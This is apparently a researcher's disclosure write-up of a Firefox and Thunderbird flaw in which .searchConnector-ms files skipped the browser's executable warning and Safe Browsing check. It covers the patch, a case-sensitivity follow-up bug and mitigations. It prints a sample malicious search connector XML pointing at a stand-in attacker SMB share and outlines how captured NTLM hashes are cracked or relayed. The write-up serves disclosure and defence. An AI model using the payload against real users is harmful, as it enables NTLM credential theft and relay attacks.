Post cover image

November 3, 2026

CVE-2026–109782: How a Missing File Extension Broke Firefox’s Download Protection

A Windows Search Connector file slipped past every layer of Firefox’s download defense no executable warning, no reputation check, straight…

By d7meealz

6 min read

A Windows Search Connector file slipped past every layer of Firefox's download defense no executable warning, no reputation check, straight to the OS.

CVE: CVE-2026–109782 (Firefox) · CVE-2026–106016 (Thunderbird) Mozilla Bug: 2067465 (access-restricted) Severity: Moderate (mitigation bypass) Fixed in: Firefox 157.0.1 · Firefox ESR 153.5 · Thunderbird 158

TL;DR

Firefox maintains a list of "dangerous" file extensions. If a downloaded file has one of these extensions, the browser forces a save-to-disk prompt and runs an application reputation check before the user can open it.

I found that .searchConnector-ms a Windows file type that installs a remote search provider into Windows Explorer was missing from that list. Firefox treated it like any ordinary download: no warning, no reputation lookup, direct handoff to the OS. A malicious search connector could point Windows Explorer at an attacker-controlled SMB or WebDAV server, leaking the user's NTLM credentials.

Mozilla assigned the issue CVE-2026–109782, classified it as sec-moderate (mitigation bypass), and shipped the fix in Firefox 157.0.1.

Background: How Firefox Decides What's Dangerous

Before a downloaded file reaches the operating system, Firefox asks one question: is this file type executable?

The answer comes from a hardcoded array called sExecutableExts in xpcom/io/nsLocalFileCommon.cpp. On Windows, nsLocalFile::IsExecutable() is a straightforward lookup against this list:

NS_IMETHODIMP
nsLocalFile::IsExecutable(bool* aResult) {
  return LookupExtensionIn(sExecutableExts, std::size(sExecutableExts), aResult);
}

If the extension is in the list, two things happen:

  1. Download friction — Firefox will not offer an "Open" action in the download panel. The file must be saved to disk first.
  2. Application reputation check — The file is submitted to Safe Browsing before the user can run it.

There is a second list, kBinaryFileExtensions in ApplicationReputation.cpp, that covers files needing reputation checks but not the executable warning. The two lists work together: IsBinary() returns true for anything in kBinaryFileExtensions or in sExecutableExts (unless the extension is in a short kNonBinaryExecutables exclusion list).

This architecture is clean, but it has a fundamental weakness: protection is only as complete as the lists. A missing entry is a full bypass of both layers.

What I Found

I was auditing Firefox's file-handling code when I noticed the existing coverage in sExecutableExts for the .ms family of Windows shell extensions:

".library-ms",           // Windows Library
".search-ms",            // Windows Saved Search
".settingcontent-ms",    // Settings shortcut

These are all file types that cause Windows to take some action when opened — connecting to a remote library, executing a saved search, opening a settings page. Firefox correctly classified every one of them as executable.

But one sibling was absent: .searchConnector-ms.

I confirmed the gap three ways:

  • Source audit: The string .searchConnector-ms did not appear anywhere in sExecutableExts[] or kBinaryFileExtensions[].
  • Binary verification: I extracted all strings from a Nightly libxul.so build (1,482,191 strings). Zero occurrences of searchConnector (case-insensitive).
  • Behavioral test: I downloaded a .searchConnector-ms file in Firefox. No executable warning. The download panel offered "Open" directly.

Why .searchConnector-ms Is Dangerous

A search connector is a small XML file that tells Windows Explorer how to connect to a remote search source. Here is a minimal example:

<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription
    xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
  <description>Malicious Search Connector</description>
  <isSearchOnlyItem>false</isSearchOnlyItem>
  <templateInfo>
    <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
  </templateInfo>
  <simpleLocation>
    <url>\\attacker.example.com\share</url>
  </simpleLocation>
</searchConnectorDescription>

When Windows processes this file, Explorer reaches out to the location in <url>. If that points to an SMB or WebDAV server, Windows may attempt NTLM authentication — silently sending the logged-in user's NetNTLMv2 challenge-response to the attacker.

This is the same class of issue as:

  • CVE-2025–24054 — NTLM hash disclosure through .library-ms files (exploited in the wild)
  • CVE-2026–21249 / ZDI-26–083 — NTLM disclosure via .searchConnector-ms on the Windows side
  • The long history of .search-ms URI handler abuse for NTLM coercion

Firefox's sibling extensions (.search-ms, .library-ms) were already in the list because of this exact threat model. The .searchConnector-ms gap was not a new attack class — it was an incomplete defense against a known one.

The Original Report: Three Families, Not One

My initial Bugzilla report actually covered three missing file-type families:

  1. .msu — Windows Update Standalone Installer

.msi, .msp, and .mst were all in sExecutableExts. Their sibling .msu was not. Double-clicking a .msu launches wusa.exe, which installs a Windows update package.

I tested this thoroughly:

  • Real Microsoft-signed .msu in Firefox: No warning, wusa.exe starts installing
  • Same .msu in Edge: SmartScreen download warning shown
  • Same .msu in Chrome: No warning (same as Firefox)
  • Attacker-crafted .msu (unsigned, via makecab): Windows shows "Open File - Security Warning"
  • After clicking Open on attacker .msu: wusa.exe rejects it — signature validation fails

Conclusion: The gap was narrower than I initially thought. Only Microsoft-signed .msu files bypass the Windows-level warning, and wusa.exe validates the package signature. I agreed to drop .msu from the request.

  1. .searchConnector-ms — Windows Search Connector

This was the clear winner. Same threat model as .search-ms (already in the list), no OS-level mitigation that blocks the attack chain, and Firefox was the weakest browser in the comparison. Kept as the primary fix.

  1. Certificate Files (.pfx, .p12, .p7b, .p7c, .pem)

These launch the Windows Certificate Import Wizard, which can silently install a trusted root CA — enabling TLS interception. Firefox already covered the sibling formats .cer, .crt, and .der.

Mozilla's triage decision: move these to a separate public bug (Bug 2071820) for AppRep-only coverage, since the Certificate Import Wizard shows its own UI describing what it will do.

The Fix — And the Surprise Reopening

The Initial Patch

Marco Bonardo (:mak) landed the fix promptly. The patch was small — adding the extension to sExecutableExts, updating the array size in the header, documenting it in the AppRep list, and extending the gtest:

".scf",         // Windows explorer command
   ".scr",
   ".sct",
-  ".search-ms",  // Windows Saved Search
+  ".search-ms",           // Windows Saved Search
+  ".searchConnector-ms",  // Windows Search Connector
   ".settingcontent-ms",

The patch was uplifted to Firefox 157 beta and ESR 153. Everything looked done. Then QA tried to verify it.

The Case-Sensitivity Bug

QA engineer Negritas Sergiu created a test .searchConnector-ms file, downloaded it from a local server, and… no warning appeared. The fix wasn't working.

Marco investigated and found the root cause: LookupExtensionIn compares the lowercased file extension against the array entries. The extension in the array was .searchConnector-ms (mixed case), but the lookup was comparing against .searchconnector-ms (all lowercase). No match.

This was not documented anywhere. The ApplicationReputation.cpp side uses a case-insensitive comparator, so it didn't matter there. But for IsExecutable(), every entry in the array must be lowercase. This had never been caught before because .searchConnector-ms was apparently the first mixed-case extension to be added to the list.

A separate bug (Bug 2075533) tracked the case-sensitivity fix. The resolution was to make LookupExtensionIn perform a case-insensitive comparison, removing the fragile requirement that all array entries be lowercase.

Daniel Veditz (Mozilla security team) reopened the original bug to correctly represent the "state of the vulnerability" rather than the "state of the patches," since the advisory and bounty credit needed to track whether the bug was actually fixed.

The timeline got complicated:

  • The fix couldn't make the Firefox 157.0 release (RC builds were already testing)
  • It shipped in Firefox 157.0.1 (mid-cycle dot release)
  • ESR 153.5 got the fix
  • ESR 140 was EOL — no fix, ever (users were upgraded to ESR 153.5)

Verification

QA confirmed the fix on Firefox 157.0.1 (Windows 10 x64): downloading a .searchConnector-ms file now triggers the executable warning. The bug was marked VERIFIED FIXED.

Attack Chain

Attacker hosts malicious .searchConnector-ms
                    |
                    v
User visits page / clicks link -> Firefox downloads the file
                    |
                    v
Firefox does NOT classify it as executable
  - No "Save as" friction (offers "Open" directly)
  - No application reputation (Safe Browsing) check
                    |
                    v
User opens the file
                    |
                    v
Windows Explorer processes the search connector XML
                    |
                    v
Explorer contacts attacker-controlled SMB/WebDAV server
                    |
                    v
Windows performs NTLM authentication automatically
                    |
                    v
Attacker captures NetNTLMv2 challenge-response
                    |
                    v
Offline cracking  <-or->  NTLM relay to internal services

Prerequisites for exploitation:

  • Victim uses Windows
  • Victim downloads and opens the file (one click from the download panel on vulnerable Firefox)
  • Outbound SMB (445) or WebDAV (80/443) traffic reaches the attacker
  • NTLM is enabled in the victim's environment
  • The captured hash is crackable, or relay targets lack SMB signing / EPA

These preconditions are why Mozilla rated it moderate rather than high or critical.

Impact Assessment

This is a mitigation bypass, not a memory corruption or direct code execution. Firefox's job was to recognize .searchConnector-ms as dangerous and add friction. It failed at that classification, which removed both the user-facing warning and the automated reputation check.

The downstream impact — NTLM credential theft — depends entirely on the Windows environment. In a hardened network with NTLM disabled and outbound SMB blocked, the impact is near zero. In a typical enterprise domain with NTLM still in use, a leaked NetNTLMv2 hash can enable:

  • Offline password cracking (weak passwords recovered in minutes)
  • NTLM relay attacks (if SMB signing is not enforced)
  • Lateral movement via relayed authentication to file shares, web apps, or Exchange

Mitigation

Patch (Primary)

  • Firefox: 157.0.1 or later
  • Firefox ESR: 153.5 or later
  • Thunderbird: 158 or later
  • Firefox ESR 140: No fix (EOL) — upgrade to ESR 153.5+

Reduce NTLM Exposure (Defense in Depth)

  • Block outbound SMB (TCP 445) and WebDAV to untrusted networks at the firewall
  • Disable the WebClient service on endpoints that don't need WebDAV
  • Enforce SMB signing and Extended Protection for Authentication
  • Enable Credential Guard on supported Windows versions
  • Narrow network.automatic-ntlm-auth.trusted-uris in Firefox enterprise policies
  • Set network.automatic-ntlm-auth.allow-non-fqdn to false
  • Consider disabling NTLM entirely where Kerberos is available

References

GitHub: d7meealz · X: d7meeAz · Medium: @d7meealz